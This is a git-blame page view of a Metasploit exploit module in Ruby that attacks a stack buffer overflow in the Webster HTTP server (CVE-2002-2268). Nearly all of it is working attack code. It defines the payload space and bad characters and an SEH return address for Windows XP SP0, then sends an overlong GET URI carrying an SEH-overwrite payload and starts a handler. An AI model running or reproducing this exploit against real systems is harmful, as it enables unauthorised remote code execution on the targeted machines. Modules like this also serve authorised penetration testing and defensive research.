Files
metasploit-gs/modules/exploits/windows/http/webster_http.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

58 lines
1.8 KiB
Ruby
Raw Normal View History

2010-11-03 12:19:19 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2010-11-03 12:19:19 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2010-11-03 12:19:19 +00:00
Rank = AverageRanking
2013-08-30 16:28:54 -05:00
2010-11-03 12:19:19 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
2013-08-30 16:28:54 -05:00
2010-11-03 12:19:19 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Webster HTTP Server GET Buffer Overflow',
'Description' => %q{
This exploits a stack buffer overflow in the Webster HTTP server.
The server and source code was released within an article from
the Microsoft Systems Journal in February 1996 titled "Write a
Simple HTTP-based Server Using MFC and Windows Sockets".
},
2017-11-09 03:00:24 +11:00
'Author' => [ 'aushack' ],
2010-11-03 12:19:19 +00:00
'References' =>
[
[ 'CVE', '2002-2268' ],
[ 'OSVDB', '44106' ],
2010-11-03 12:19:19 +00:00
[ 'BID', '6289' ],
[ 'URL', 'http://www.microsoft.com/msj/archive/s25f.aspx' ],
[ 'URL', 'http://www.netdave.com/webster/webster.htm' ],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ] , # pop esi; pop ebx; ret ws2help.dll winxp
[ 'Debug', { 'Ret' => 0x44434241 } ] , # todo - add more targets.
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2002-12-02',
2010-11-03 12:19:19 +00:00
'DefaultTarget' => 0))
end
2013-08-30 16:28:54 -05:00
2010-11-03 12:19:19 +00:00
def exploit
print_status("Sending request...")
seh = generate_seh_payload(target.ret)
2013-08-30 16:28:54 -05:00
2010-11-03 12:19:19 +00:00
send_request_raw({
'uri' => "/" + Rex::Text.rand_text_alphanumeric(266) + seh
}, 2)
2013-08-30 16:28:54 -05:00
2010-11-03 12:19:19 +00:00
handler
end
end